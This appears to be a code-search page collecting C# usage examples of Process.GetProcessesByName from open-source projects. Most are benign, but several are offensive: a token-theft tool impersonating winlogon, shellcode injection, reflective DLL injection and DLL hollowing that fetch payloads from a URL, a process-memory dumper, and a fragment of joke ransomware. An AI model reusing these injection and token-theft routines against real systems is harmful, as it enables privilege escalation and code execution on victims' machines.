System.Diagnostics.Process.GetProcessesByName(string)

Here are the examples of the csharp api System.Diagnostics.Process.GetProcessesByName(string) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

1001 Examples 7

19 Source : FaceDancer.cs
with MIT License
from 001SPARTaN

static void Main(string[] args)
        {
            int procId;
            string file;

            if (args.Length < 2)
            {
                file = "whoami /priv";
                if (args.Length == 0)
                {
                    // If we don't have a process ID as an argument, find winlogon.exe
                    procId = Process.GetProcessesByName("winlogon").First().Id;
                }
                else if (args[0].Contains('.'))
                {
                    procId = Process.GetProcessesByName("winlogon").First().Id;
                    if (args != null)
                    {
                        file = args[0];
                    }
                }
                else
                {
                    procId = Convert.ToInt32(args[0]);
                }
            }
            else
            {
                procId = Convert.ToInt32(args[0]);
                file = args[1];
            }
            Console.WriteLine("Stealing token from PID " + procId);

            IntPtr tokenHandle = IntPtr.Zero;
            IntPtr dupHandle = IntPtr.Zero;

            SafeWaitHandle procHandle = new SafeWaitHandle(Process.GetProcessById(procId).Handle, true);
            Console.WriteLine("Process handle: True");

            bool procToken = OpenProcessToken(procHandle.DangerousGetHandle(), (uint)TokenAccessLevels.MaximumAllowed, out tokenHandle);
            Console.WriteLine("OpenProcessToken: " + procToken);

            bool duplicateToken = DuplicateTokenEx(tokenHandle, (uint)TokenAccessLevels.MaximumAllowed, IntPtr.Zero, 
                (uint)TokenImpersonationLevel.Impersonation, TOKEN_TYPE.TokenImpersonation, out dupHandle);
            Console.WriteLine("DuplicateTokenEx: " + duplicateToken);
            WindowsIdenreplacedy ident = new WindowsIdenreplacedy(dupHandle);
            Console.WriteLine("Impersonated user: " + ident.Name);

            STARTUPINFO startInfo = new STARTUPINFO();

            PipeSecurity sec = new PipeSecurity();
            sec.SetAccessRule(new PipeAccessRule("NT AUTHORITY\\Everyone", PipeAccessRights.FullControl, AccessControlType.Allow));

            using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 4096, sec))
            {
                using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.ClientSafePipeHandle))
                {
                    // Set process to use anonymous pipe for input/output
                    startInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle();
                    startInfo.hStdError = pipeClient.SafePipeHandle.DangerousGetHandle();
                    startInfo.dwFlags = STARTF.STARTF_USESTDHANDLES | STARTF.STARTF_USESHOWWINDOW;
                    // END NAME PIPE INITIALIZATION

                    PROCESS_INFORMATION newProc = new PROCESS_INFORMATION();
                    using (StreamReader reader = new StreamReader(pipeServer))
                    {
                        bool createProcess = CreateProcessWithTokenW(dupHandle, IntPtr.Zero, null, file, IntPtr.Zero, IntPtr.Zero, "C:\\Temp", ref startInfo, out newProc);
                        Process proc = Process.GetProcessById(newProc.dwProcessId);
                        while (!proc.HasExited)
                        {
                            Thread.Sleep(1000);
                        }
                        pipeClient.Close();
                        string output = reader.ReadToEnd();
                        Console.WriteLine("Started process with ID " + newProc.dwProcessId);
                        Console.WriteLine("CreateProcess return code: " + createProcess);
                        Console.WriteLine("Process output: " + output);
                    }
                    
                    CloseHandle(tokenHandle);
                    CloseHandle(dupHandle);
                }
            }
        }

19 Source : Helper.cs
with MIT License
from 0ffffffffh

public static void KillProcess(string name)
        {
            Process[] proc = Process.GetProcessesByName(name);

            foreach (var p in proc)
            {
                try
                {
                    p.Kill();
                }
                catch (Exception e)
                {
                    Log.Verbose(e.Message);
                }
            }
        }

19 Source : RansomNote.cs
with GNU General Public License v3.0
from 0x00000FF

private void Detect()
        {
            while (true)
            {
                if (!flag)
                {
                    var Procs = Process.GetProcessesByName("th12");

                    if (Procs.Length > 0)
                    {
                        // Open TH12.exe with PROCESS_VM_READ (0x0010).
                        _handle = OpenProcess(0x10, false, Procs.FirstOrDefault().Id);

                        if (_handle != null)
                            processStatus = true;
                    }
                }
                else
                {
                    if (IsScoreReached)
                    {
                        break;
                    }
                    
                    int bytesRead = 0;
                    byte[] _buffer = new byte[4]; // Will read 4 bytes of memory

                    /*
                     * Read Level
                     * 
                     * In TH12 ~ Undefined Fantastic Object, Level is stored in
                     * [base address] + 0xAEBD0, as 4bytes int value.
                     * 
                     */ 
                    var readLevel = ReadProcessMemory((int)_handle, 0x004AEBD0, _buffer, 2, ref bytesRead);
                    if (!readLevel)
                    {
                        flag = false;
                        continue;
                    }

                    /*
                     * Level Codes
                     * 0 - Easy; 1 - Normal; 2 - Hard; 3 - Lunatic; ? - Extra
                     * 
                     */
                    if (BitConverter.ToInt16(_buffer, 0) != 3)
                    {
                        ProcStatus.Invoke(new MethodInvoker(() => {
                            ProcStatus.Text = "NOT LUNATIC LEVEL!";
                        }));
                        continue;
                    }
                    else
                    {
                        ProcStatus.Invoke(new MethodInvoker(() => {
                            ProcStatus.Text = "Process Working";
                        }));
                    }

                    /*
                     * Read Score
                     * 
                     * Once level is detected as LUNATIC, 
                     * rensenWare reads score from process.
                     * 
                     * Score is stored in
                     * [base address] + 0xB0C44, as 4bytes int value.
                     * 
                     */
                    var readScore = ReadProcessMemory((int)_handle, 0x004B0C44, _buffer, 4, ref bytesRead);
                    if (!readScore)
                    {
                        flag = false;
                        continue;
                    }

                    ScoreStatus.Invoke(new MethodInvoker(() =>
                    {
                        ScoreStatus.Text = (BitConverter.ToInt32(_buffer, 0) * 10).ToString();
                    }));

                    /*
                     * One interesting thing,
                     * internally, touhou project process prints score as 10 times of original value.
                     * I don't know why it is.
                     */ 
                    if (BitConverter.ToInt32(_buffer, 0) > 20000000) // It is 20,000,000
                        IsScoreReached = true;
                    else
                        _buffer = null;
                }

                // Let CPU rest
                Thread.Sleep(100);
            }

            // Create Random Key/IV File in Desktop of Current User.
            File.WriteAllBytes(Program.KeyFilePath, Program.randomKey);
            File.WriteAllBytes(Program.IVFilePath, Program.randomIV);

            decryptProgress.Maximum = Program.encryptedFiles.Count;

            foreach (var path in Program.encryptedFiles)
            {
                try
                {
                    DecryptStatus.Invoke(new MethodInvoker(() =>
                    {
                        DecryptStatus.Text = Path.GetFileName(path);
                    }));

                    // Do Decrypt

                    decryptProgress.Value++;
                }
                catch
                {
                    continue;
                }
            }

            this.Invoke(new MethodInvoker(() => {
                MessageBox.Show("Decryption Complete!\nIf there are encrypted files exists, use manual decrypter with key/IV files saved in desktop!");
                
                ButtonManualDecrypt.Visible = true;
                ButtonExit.Visible = true;
            }));            
        }

19 Source : Processes.cs
with GNU General Public License v3.0
from 0x2b00b1e5

public static string GetMainWindowsTilteByProcessName(string exeName)
        {
            Process[] AP = Process.GetProcessesByName(exeName);

            //does nothing, for debug
            string hold = null;
            // Return first one. Since the end-user probably only runs one instance of FL.exe/FL64.exe. RPC can also detect only one version.
            if(AP.Length < 1)
            {
                return null;
            }
            return AP[0].MainWindowreplacedle;
        }

19 Source : FLRPC.cs
with GNU General Public License v3.0
from 0x2b00b1e5

public static FLInfo GetFLInfo()
        {
            FLInfo i = new FLInfo();
            //Get replacedle
            string fullreplacedle;
            if (Process.GetProcessesByName("FL").Length >= 1)
            {
                fullreplacedle = Processes.GetMainWindowsTilteByProcessName("FL");
            }
            else if (Process.GetProcessesByName("FL64").Length >= 1)
            {
                fullreplacedle = Processes.GetMainWindowsTilteByProcessName("FL64");
            }
            else
            {
                fullreplacedle = null;
            }
            // Check if project is new/unsaved
                //if yes, return null
                //if not, return name
            if (!fullreplacedle.Contains("-"))
            {
                i.projectName = null;
                i.appName = fullreplacedle;
            }
                
            else
            {
                string[] splitbyminus = fullreplacedle.Split('-');
                i.projectName = splitbyminus[0];
                i.appName = splitbyminus[1];
            }
            //return
            return i;

        }

19 Source : Program.cs
with MIT License
from 0xDivyanshu

static int process_injection(string location, int button, int encryption, string preplacedword)
        {
            Process[] remote_p = Process.GetProcessesByName("notepad");
            Process current_p = Process.GetCurrentProcess();
            int pid = 0;

            if (remote_p.Length == 0)
            {
                //Create Process
                Process p = new Process();
                p.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe";
                p.StartInfo.WindowStyle = ProcessWindowStyle.Maximized;
                p.Start();
                pid = p.Id;
            }
            else
            {
                pid = remote_p[0].Id;
            }

            byte[] shellcode = downloaded_data(location, encryption, preplacedword);
            //Initializations
            bool res = false;
            IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
            IntPtr address = IntPtr.Zero;
            if (Flags.advanced_bypreplaced == 0)
            {
                address = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
                IntPtr bytes = IntPtr.Zero;
                res = WriteProcessMemory(hProcess, address, shellcode, shellcode.Length, out bytes);
                if (res == false)
                {
                    Console.WriteLine("Cannot copy into process");
                    return -1;
                }
                IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);
                return 0;
            }
            else
            {
                IntPtr Section_handle = IntPtr.Zero;
                uint size = (uint)shellcode.Length;
                if (NtCreateSection(ref Section_handle, SECTION_ALL_ACCESS, IntPtr.Zero, ref size, 0x40, SEC_COMMIT, IntPtr.Zero) != 0)
                {
                    Console.WriteLine("[!] Cannot create section");
                    return -1;
                }
                IntPtr local_addr = IntPtr.Zero;
                IntPtr remote_addr = IntPtr.Zero;
                ulong offsec = 0;

                if (NtMapViewOfSection(Section_handle, current_p.Handle, ref local_addr, UIntPtr.Zero, UIntPtr.Zero, out offsec, out size, 2, 0, EXECUTE_READ_WRITE) != 0)
                {
                    Console.WriteLine("[!] Cannot map the section into remote process");
                    return -1;
                }

                if (NtMapViewOfSection(Section_handle, hProcess, ref remote_addr, UIntPtr.Zero, UIntPtr.Zero, out offsec, out size, 2, 0, EXECUTE_READ_WRITE) != 0)
                {
                    Console.WriteLine("Cannot map the section into local process");
                    return -1;
                }

                Marshal.Copy(shellcode, 0, local_addr, shellcode.Length);
                CreateRemoteThread(hProcess, IntPtr.Zero, 0, remote_addr, IntPtr.Zero, 0, IntPtr.Zero);
                NtUnmapViewOfSection(current_p.Handle, local_addr);
                return 0;
            }
        }

19 Source : Program.cs
with MIT License
from 0xDivyanshu

static int reflective_dll_injection(string location)
        {
            Process[] remote_p = Process.GetProcessesByName("notepad");
            int pid = 0;

            if (remote_p.Length == 0)
            {
                //Create Process
                Process p = new Process();
                p.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe";
                p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                p.Start();
                pid = p.Id;
            }
            else
            {
                pid = remote_p[0].Id;
            }

            String dllName = "";

            if (location.StartsWith("http"))
            {
                WebClient wc = new WebClient();
                wc.DownloadFile(location, "C:\\Windows\\Temp\\meet.dll");
                dllName = "C:\\Windows\\Temp\\meet.dll";
            }
            else
            {
                dllName = location;
            }

            IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
            IntPtr address = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            IntPtr bytes = IntPtr.Zero;
            bool res = WriteProcessMemory(hProcess, address, Encoding.Default.GetBytes(dllName), dllName.Length, out bytes);
            if (res == false)
            {
                Console.WriteLine("Cannot copy into process");
                return -1;
            }
            IntPtr load_addr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            CreateRemoteThread(hProcess, IntPtr.Zero, 0, load_addr, address, 0, IntPtr.Zero);

            return 0;
        }

19 Source : CommandLineParser.cs
with MIT License
from 0xd4d

public static JitDasmOptions Parse(string[] args) {
			if (args.Length == 0)
				throw new ShowCommandLineHelpException();

			var options = new JitDasmOptions();
			for (int i = 0; i < args.Length; i++) {
				var arg = args[i];
				var next = i + 1 < args.Length ? args[i + 1] : null;
				switch (arg) {
				case "-h":
				case "--help":
					throw new ShowCommandLineHelpException();

				case "-p":
				case "--pid":
					if (next is null)
						throw new CommandLineParserException("Missing pid value");
					if (!int.TryParse(next, out options.Pid))
						throw new CommandLineParserException($"Invalid pid: {next}");
					try {
						using (var process = Process.GetProcessById(options.Pid))
							VerifyProcess(process);
					}
					catch (ArgumentException) {
						throw new CommandLineParserException($"Process does not exist, pid = {options.Pid}");
					}
					i++;
					break;

				case "-pn":
				case "--process":
					if (next is null)
						throw new CommandLineParserException("Missing process name");
					Process[]? processes = null;
					try {
						processes = Process.GetProcessesByName(next);
						if (processes.Length == 0)
							throw new CommandLineParserException($"Could not find process '{next}'");
						if (processes.Length > 1)
							throw new CommandLineParserException($"Found more than one process with name '{next}'");
						options.Pid = processes[0].Id;
						VerifyProcess(processes[0]);
					}
					finally {
						if (!(processes is null)) {
							foreach (var p in processes)
								p.Dispose();
						}
					}
					i++;
					break;

				case "-m":
				case "--module":
					if (next is null)
						throw new CommandLineParserException("Missing module name");
					options.ModuleName = next;
					i++;
					break;

				case "-l":
				case "--load":
					if (next is null)
						throw new CommandLineParserException("Missing module filename");
					if (!File.Exists(next))
						throw new CommandLineParserException($"Could not find module {next}");
					options.LoadModule = Path.GetFullPath(next);
					i++;
					break;

				case "--no-run-cctor":
					options.RunClreplacedConstructors = false;
					break;

				case "-s":
				case "--search":
					if (next is null)
						throw new CommandLineParserException("Missing replacedembly search path");
					foreach (var path in next.Split(new[] { Path.PathSeparator }, StringSplitOptions.RemoveEmptyEntries)) {
						if (Directory.Exists(path))
							options.replacedemblySearchPaths.Add(path);
					}
					i++;
					break;

				case "--diffable":
					options.Diffable = true;
					break;

				case "--no-addr":
					options.ShowAddresses = false;
					break;

				case "--no-bytes":
					options.ShowHexBytes = false;
					break;

				case "--no-source":
					options.ShowSourceCode = false;
					break;

				case "--heap-search":
					options.HeapSearch = true;
					break;

				case "--filename-format":
					if (next is null)
						throw new CommandLineParserException("Missing filename format");
					switch (next) {
					case "name":
						options.FilenameFormat = FilenameFormat.MemberName;
						break;
					case "tokname":
						options.FilenameFormat = FilenameFormat.TokenMemberName;
						break;
					case "token":
						options.FilenameFormat = FilenameFormat.Token;
						break;
					default:
						throw new CommandLineParserException($"Unknown filename format: {next}");
					}
					i++;
					break;

				case "-f":
				case "--file":
					if (next is null)
						throw new CommandLineParserException("Missing filename kind");
					switch (next) {
					case "stdout":
						options.FileOutputKind = FileOutputKind.Stdout;
						break;
					case "file":
						options.FileOutputKind = FileOutputKind.OneFile;
						break;
					case "type":
						options.FileOutputKind = FileOutputKind.OneFilePerType;
						break;
					case "method":
						options.FileOutputKind = FileOutputKind.OneFilePerMethod;
						break;
					default:
						throw new CommandLineParserException($"Unknown filename kind: {next}");
					}
					i++;
					break;

				case "-d":
				case "--disasm":
					if (next is null)
						throw new CommandLineParserException("Missing disreplacedembler kind");
					switch (next) {
					case "masm":
						options.DisreplacedemblerOutputKind = DisreplacedemblerOutputKind.Masm;
						break;
					case "nasm":
						options.DisreplacedemblerOutputKind = DisreplacedemblerOutputKind.Nasm;
						break;
					case "gas":
					case "att":
						options.DisreplacedemblerOutputKind = DisreplacedemblerOutputKind.Gas;
						break;
					case "intel":
						options.DisreplacedemblerOutputKind = DisreplacedemblerOutputKind.Intel;
						break;
					default:
						throw new CommandLineParserException($"Unknown disreplacedembler kind: {next}");
					}
					i++;
					break;

				case "-o":
				case "--output":
					if (next is null)
						throw new CommandLineParserException("Missing output file/dir");
					options.OutputDir = next;
					i++;
					break;

				case "--type":
					if (next is null)
						throw new CommandLineParserException("Missing type name filter");
					foreach (var elem in next.Split(typeTokSep, StringSplitOptions.RemoveEmptyEntries)) {
						if (TryParseToken(elem, out uint tokenLo, out uint tokenHi))
							options.TypeFilter.TokensFilter.Add(tokenLo, tokenHi);
						else
							options.TypeFilter.NameFilter.Add(elem);
					}
					i++;
					break;

				case "--type-exclude":
					if (next is null)
						throw new CommandLineParserException("Missing type name filter");
					foreach (var elem in next.Split(typeTokSep, StringSplitOptions.RemoveEmptyEntries)) {
						if (TryParseToken(elem, out uint tokenLo, out uint tokenHi))
							options.TypeFilter.ExcludeTokensFilter.Add(tokenLo, tokenHi);
						else
							options.TypeFilter.ExcludeNameFilter.Add(elem);
					}
					i++;
					break;

				case "--method":
					if (next is null)
						throw new CommandLineParserException("Missing method name filter");
					foreach (var elem in next.Split(typeTokSep, StringSplitOptions.RemoveEmptyEntries)) {
						if (TryParseToken(elem, out uint tokenLo, out uint tokenHi))
							options.MethodFilter.TokensFilter.Add(tokenLo, tokenHi);
						else
							options.MethodFilter.NameFilter.Add(elem);
					}
					i++;
					break;

				case "--method-exclude":
					if (next is null)
						throw new CommandLineParserException("Missing method name filter");
					foreach (var elem in next.Split(typeTokSep, StringSplitOptions.RemoveEmptyEntries)) {
						if (TryParseToken(elem, out uint tokenLo, out uint tokenHi))
							options.MethodFilter.ExcludeTokensFilter.Add(tokenLo, tokenHi);
						else
							options.MethodFilter.ExcludeNameFilter.Add(elem);
					}
					i++;
					break;

				default:
					throw new CommandLineParserException($"Unknown option: {arg}");
				}
			}

			if (!string2.IsNullOrEmpty(options.LoadModule)) {
				using (var process = Process.GetCurrentProcess())
					options.Pid = process.Id;
				options.ModuleName = options.LoadModule;
			}

			if (string.IsNullOrEmpty(options.ModuleName))
				throw new CommandLineParserException("Missing module name");
			if (options.Pid == 0)
				throw new CommandLineParserException("Missing process id or name");
			if (options.FileOutputKind != FileOutputKind.Stdout && string.IsNullOrEmpty(options.OutputDir))
				throw new CommandLineParserException("Missing output file/dir");
			return options;
		}

19 Source : Program.cs
with MIT License
from 0xDivyanshu

static int dll_hollowing(string location, int encryption, string preplacedword)
        {
            Process[] remote_p = Process.GetProcessesByName("notepad");
            int pid = 0;

            if (remote_p.Length == 0)
            {
                //Create Process
                Process p = new Process();
                p.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe";
                p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                p.Start();
                pid = p.Id;
            }
            else
            {
                pid = remote_p[0].Id;
            }

            byte[] shellcode = downloaded_data(location, encryption, preplacedword);
            //            IntPtr unmanagedArray = Marshal.AllocHGlobal(shellcode.Length);
            //            Marshal.Copy(shellcode, 0, unmanagedArray, shellcode.Length);
            int res = dll_hollow(shellcode, shellcode.Length, pid);
            //            Marshal.FreeHGlobal(unmanagedArray);
            return res;
        }

19 Source : NativeAPI.cs
with Apache License 2.0
from 1694439208

public static int GetPidByProcessName(string processName)
        {
            Process[] arrayProcess = Process.GetProcessesByName(processName);
            foreach (Process p in arrayProcess)
            {
                return p.Id;
            }
            return 0;
        }

19 Source : PrivoxyHandler.cs
with GNU General Public License v3.0
from 2dust

public void Stop()
        {
            if (_process != null)
            {
                KillProcess(_process);
                _process.Dispose();
                _process = null;
                RunningPort = 0;
            }
            else
            {
                Process[] existingPrivoxy = Process.GetProcessesByName(_privoxyName);
                foreach (Process p in existingPrivoxy.Where(IsChildProcess))
                {
                    KillProcess(p);
                }
            }
        }

19 Source : MainForm.cs
with GNU General Public License v3.0
from 2dust

private void btnOK_Click(object sender, EventArgs e)
        {
            try
            {
                Process[] existing = Process.GetProcessesByName("v2rayN");
                foreach (Process p in existing)
                {
                    string path = p.MainModule.FileName;
                    if (path == GetPath("v2rayN.exe"))
                    {
                        p.Kill();
                        p.WaitForExit(100);
                    }
                }
            }
            catch (Exception ex)
            {
                // Access may be denied without admin right. The user may not be an administrator.
                showWarn("Failed to close v2rayN(关闭v2rayN失败).\n" +
                    "Close it manually, or the upgrade may fail.(请手动关闭正在运行的v2rayN,否则可能升级失败。\n\n" + ex.StackTrace);
            }

            StringBuilder sb = new StringBuilder();
            try
            {
                if (!File.Exists(fileName))
                {
                    if (File.Exists(defaultFilename))
                    {
                        fileName = defaultFilename;
                    }
                    else
                    {
                        showWarn("Upgrade Failed, File Not Exist(升级失败,文件不存在).");
                        return;
                    }
                }

                string thisAppOldFile = Application.ExecutablePath + ".tmp";
                File.Delete(thisAppOldFile);
                string startKey = "v2rayN/";


                using (ZipArchive archive = ZipFile.OpenRead(fileName))
                {
                    foreach (ZipArchiveEntry entry in archive.Entries)
                    {
                        try
                        {
                            if (entry.Length == 0)
                            {
                                continue;
                            }
                            string fullName = entry.FullName;
                            if (fullName.StartsWith(startKey))
                            {
                                fullName = fullName.Substring(startKey.Length, fullName.Length - startKey.Length);
                            }
                            if (Application.ExecutablePath.ToLower() == GetPath(fullName).ToLower())
                            {
                                File.Move(Application.ExecutablePath, thisAppOldFile);
                            }

                            string entryOuputPath = GetPath(fullName);

                            FileInfo fileInfo = new FileInfo(entryOuputPath);
                            fileInfo.Directory.Create();
                            entry.ExtractToFile(entryOuputPath, true);
                        }
                        catch (Exception ex)
                        {
                            sb.Append(ex.StackTrace);
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                showWarn("Upgrade Failed(升级失败)." + ex.StackTrace);
                return;
            }
            if (sb.Length > 0)
            {
                showWarn("Upgrade Failed,Hold ctrl + c to copy to clipboard.\n" +
                    "(升级失败,按住ctrl+c可以复制到剪贴板)." + sb.ToString());
                return;
            }

            Process.Start("v2rayN.exe");
            MessageBox.Show("Upgrade successed(升级成功)", "", MessageBoxButtons.OK, MessageBoxIcon.Information);

            Close();
        }

19 Source : V2rayHandler.cs
with GNU General Public License v3.0
from 2dust

public void V2rayStop()
        {
            try
            {
                if (_process != null)
                {
                    KillProcess(_process);
                    _process.Dispose();
                    _process = null;
                }
                else
                {
                    foreach (string vName in lstV2ray)
                    {
                        Process[] existing = Process.GetProcessesByName(vName);
                        foreach (Process p in existing)
                        {
                            string path = p.MainModule.FileName;
                            if (path == $"{Utils.GetPath(vName)}.exe")
                            {
                                KillProcess(p);
                            }
                        }
                    }
                }

                //bool blExist = true;
                //if (processId > 0)
                //{
                //    Process p1 = Process.GetProcessById(processId);
                //    if (p1 != null)
                //    {
                //        p1.Kill();
                //        blExist = false;
                //    }
                //}
                //if (blExist)
                //{
                //    foreach (string vName in lstV2ray)
                //    {
                //        Process[] killPro = Process.GetProcessesByName(vName);
                //        foreach (Process p in killPro)
                //        {
                //            p.Kill();
                //        }
                //    }
                //}
            }
            catch (Exception ex)
            {
                Utils.SaveLog(ex.Message, ex);
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 3xpl01tc0d3r

private static void Main(string[] args)
        {
            try
            {
                logo();
                // https://github.com/GhostPack/Rubeus/blob/master/Rubeus/Domain/ArgumentParser.cs#L10

                var arguments = new Dictionary<string, string>();
                foreach (var argument in args)
                {
                    var idx = argument.IndexOf(':');
                    if (idx > 0)
                        arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                    else
                        arguments[argument] = string.Empty;
                }

                WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
                WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
                if (principal.IsInRole(WindowsBuiltInRole.Administrator))
                {
                    Console.WriteLine($"[+] Process running with {principal.Idenreplacedy.Name} privileges with HIGH integrity.");
                }
                else
                {
                    Console.WriteLine($"[+] Process running with {principal.Idenreplacedy.Name} privileges with MEDIUM / LOW integrity.");
                }

                if (arguments.Count == 0)
                {
                    Console.WriteLine("[+] No arguments specified. Please refer the help section for more details.");
                    help();
                }
                else if (arguments.ContainsKey("/pname"))
                {
                    Process[] process = Process.GetProcessesByName(arguments["/pname"]);
                    if (process.Length > 0)
                    {
                        for (int i = 0; i < process.Length; i++)
                        {
                            Console.WriteLine($"[+] Dumping {process[i].ProcessName} process");
                            Console.WriteLine($"[+] {process[i].ProcessName} process handler {process[i].Handle}");
                            Console.WriteLine($"[+] {process[i].ProcessName} process id {process[i].Id}");
                            dump(process[i].Handle, (uint)process[i].Id, process[i].ProcessName);
                        }
                    }
                    else
                    {
                        Console.WriteLine($"[+] {arguments["/pname"]} process is not running.");
                    }
                }
                else if (arguments.ContainsKey("/pid"))
                {
                    int procid = Convert.ToInt32(arguments["/pid"]);
                    Process process = Process.GetProcessById(procid);
                    Console.WriteLine($"[+] Dumping {process.ProcessName} process");
                    Console.WriteLine($"[+] {process.ProcessName} process handler {process.Handle}");
                    Console.WriteLine($"[+] {process.ProcessName} process id {process.Id}");
                    dump(process.Handle, (uint)process.Id, process.ProcessName);
                }
                else
                {
                    Console.WriteLine("[+] Invalid argument. Please refer the help section for more details.");
                    help();
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
            Console.ReadLine();
        }

19 Source : Program.cs
with MIT License
from 86Box

[STAThread]
        static void Main()
        {
            if (Environment.OSVersion.Version.Major >= 6)
                SetProcessDPIAware();

            SetCurrentProcessExplicitAppUserModelID(AppID);
            const string name = "86Box Manager";

            //Use a mutex to check if this is the first instance of Manager
            mutex = new Mutex(true, name, out bool firstInstance);

            //If it's not, we need to restore and focus the existing window, as well as preplaced on any potential command line arguments
            if (!firstInstance)
            {
                //Finds the existing window, unhides it, restores it and sets focus to it
                IntPtr hWnd = FindWindow(null, "86Box Manager");
                ShowWindow(hWnd, ShowWindowEnum.Show);
                ShowWindow(hWnd, ShowWindowEnum.Restore);
                SetForegroundWindow(hWnd);

                //If this second instance comes from a VM shortcut, we need to preplaced on the command line arguments so the VM will start
                //in the existing instance.
                //NOTE: This code will have to be modified in case more command line arguments are added in the future.
                if (args.Length == 3 && args[1] == "-S" && args[2] != null)
                {
                    string message = args[2];
                    COPYDATASTRUCT cds;
                    cds.dwData = IntPtr.Zero;
                    cds.lpData = Marshal.StringToHGlobalAnsi(message);
                    cds.cbData = message.Length;
                    SendMessage(hWnd, WM_COPYDATA, IntPtr.Zero, ref cds);
                }

                return;
            }
            else
            {
                //Then check if any instances of 86Box are already running and warn the user
                Process[] pname = Process.GetProcessesByName("86box");
                if (pname.Length > 0)
                {
                    DialogResult result = MessageBox.Show("At least one instance of 86Box.exe is already running. It's not recommended that you run 86Box.exe directly outside of Manager. Do you want to continue at your own risk?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                    if (result == DialogResult.No)
                    {
                        return;
                    }
                }
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new frmMain());
            }
        }

19 Source : SystemUtils.cs
with GNU Lesser General Public License v3.0
from acnicholas

[SecurityCritical]
        [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
        internal static void KillAllProcesses(string processName)
        {
            try
            {
                foreach (Process proc in Process.GetProcessesByName(processName))
                {
                    proc.Kill();
                }
            }
            catch (InvalidOperationException ex)
            {
                SCaddinsApp.WindowManager.ShowMessageBox("InvalidOperationException: " + ex.Message);
            }
            catch (NotSupportedException ex)
            {
                SCaddinsApp.WindowManager.ShowMessageBox("NotSupportedException: " + ex.Message);
            }
            catch (System.ComponentModel.Win32Exception ex)
            {
                Debug.WriteLine(ex.Message);
            }
        }

19 Source : LegendaryTrustedInstaller.cs
with GNU General Public License v2.0
from ADeltaX

public static void RunWithTokenOf(
			string ProcessName,
			bool OfActiveSessionOnly,
			string ExeToRun, 
			string Arguments,
			string WorkingDir = "")
		{
			List<int> PIDs = new List<int>();
			foreach (Process p in Process.GetProcessesByName(
				Path.GetFileNameWithoutExtension(ProcessName)))
			{
				PIDs.Add(p.Id);
                break;
			}

			if (PIDs.Count == 0)
				return;

			RunWithTokenOf(PIDs[0], ExeToRun, Arguments, WorkingDir);
		}

19 Source : MemoryMod.cs
with GNU General Public License v3.0
from AgentRev

public unsafe bool SearchMemory() // Any function that deals with pointers in any shape or form must be declared "unsafe"
        {
            bool isFound = false;

            Process[] procs = Process.GetProcessesByName("iw5mp"); // ".exe" must be omitted

            if (procs.Length != 0)
            {
                uint procID = (uint)procs[0].Id;
                uint procHandle = OpenProcess(READ, false, procID);

                if (procHandle != 0)
                {
                    uint bytesRead = 0;

                    uint start = 0x00400000; // For applications compiled with Visual Studio, as in the case of MW3, the main module always begins at 0x400000
                    uint end = 0x01000000;

                    uint buffSize = 0x1000; // (4096 bytes) This buffer size is optimal, since when combined with the bytesRead value, 
                                            // it permits skipping over empty memory areas, which are always 4096 bytes at minimum

                    byte[] buffer = new byte[buffSize];

                    for (uint i = start; i < end; i += buffSize)
                    {
                        ReadProcessMemory(procHandle, i, buffer, i, ref bytesRead); // The "ref" is because the method writes the value directly to the variable;
                                                                                    // It is not needed for the buffer, since C# arrays are references themselves

                        if (bytesRead == buffSize) // We check if the buffer has been fully filled; if it isn't, it means that this area of the memory contains no data
				        {
                            fixed (byte* pBuffer = buffer) // We declare the pointer, which can only be used within this scope
                            {
                                for (uint j = 0; j < buffSize; i += 4) // The "4" is because values are always stored in the memory at an offset 
                                                                       // with the last digit being a multiple of 4 (32-bit offsets)
                                {
                                    if (memcmp(pBuffer + i, cVar, cVar.Length) == 0) // memcmp returns 0 if memory values are equal, it's not a mistake;
                                                                                     // The "+i" is the whole reason behind the use of a pointer here,
                                                                                     // it allows direct offsets without having to manipulate the array
                                    {
                                        pFoV = i + j;
                                        isFound = true;
                                        break;
                                    }
                                }
                            }
                        }
                    }

                    CloseHandle(procHandle);
                }
            }

            return isFound;
        }

19 Source : MemoryMod.cs
with GNU General Public License v3.0
from AgentRev

public void WriteFloat(uint ptr, float val)
        {
            if (ptr != 0)
            {
                Process[] procs = Process.GetProcessesByName("iw5mp");

                if (procs.Length != 0)
                {
                    uint procID = (uint)procs[0].Id;
                    uint procHandle = OpenProcess(WRITE, false, procID);

                    if (procHandle != 0)
                    {
                        WriteProcessMemory(procHandle, ptr, BitConverter.GetBytes(val), sizeof(float));
                        CloseHandle(procHandle);
                    }
                }
            }
        }

19 Source : MainWindow.cs
with GNU General Public License v3.0
from aglab2

private Process FindEmulatorProcess()
        {
            foreach (string name in processNames)
            {
                Process process = Process.GetProcessesByName(name).Where(p => !p.HasExited).FirstOrDefault();
                if (process != null)
                    return process;
            }

            return null;
        }

19 Source : Startup.cs
with MIT License
from ahydrax

public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
        {
            app.UseDeveloperExceptionPage();

